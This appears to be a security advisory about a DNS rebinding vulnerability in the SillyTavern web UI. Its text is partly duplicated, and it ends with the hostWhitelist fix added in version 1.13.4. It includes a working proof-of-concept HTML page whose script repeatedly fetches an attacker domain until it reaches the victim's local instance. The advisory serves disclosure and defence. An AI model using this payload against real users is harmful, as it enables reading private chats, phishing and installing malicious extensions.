The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.
DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1
for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Rebind Payload</title>
</head>
<body>
<script>
async function tryRebind() {
while (true) {
try {
let res = await fetch("http://[DOMAIN HERE]:8000/");
let text = await res.text();
if (text.includes("Directory listing for /")) {
console.log("Still attacker server, retrying...");
await new Promise(r => setTimeout(r, 2000));
continue; // don't break yet
}
console.log("GOT VICTIM RESPONSE!");
console.log(text.substring(0, 300));
break;
} catch (e) {
console.log("Fetch failed, retrying...", e);
await new Promise(r => setTimeout(r, 2000));
}
}
}
tryRebind();
</script>
</body>
</html>
Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.
A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled
in config.yaml file or SILLYTAVERN_HOSTWHITELIST_ENABLED
environment variable.
While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.
Summary
The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.
Details
DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like
127.0.0.1
for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.PoC
/rebind.html
endpoint (or any other endpoint) on a web server on port 8000http://[URL]:8000/rebind.html
in firefox or on any mobile browser if you're using termuxHere is the PoC code:
Impact
Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.
Resolution
A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts:
hostWhitelist.enabled
in config.yaml file orSILLYTAVERN_HOSTWHITELIST_ENABLED
environment variable.While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.
Resources
References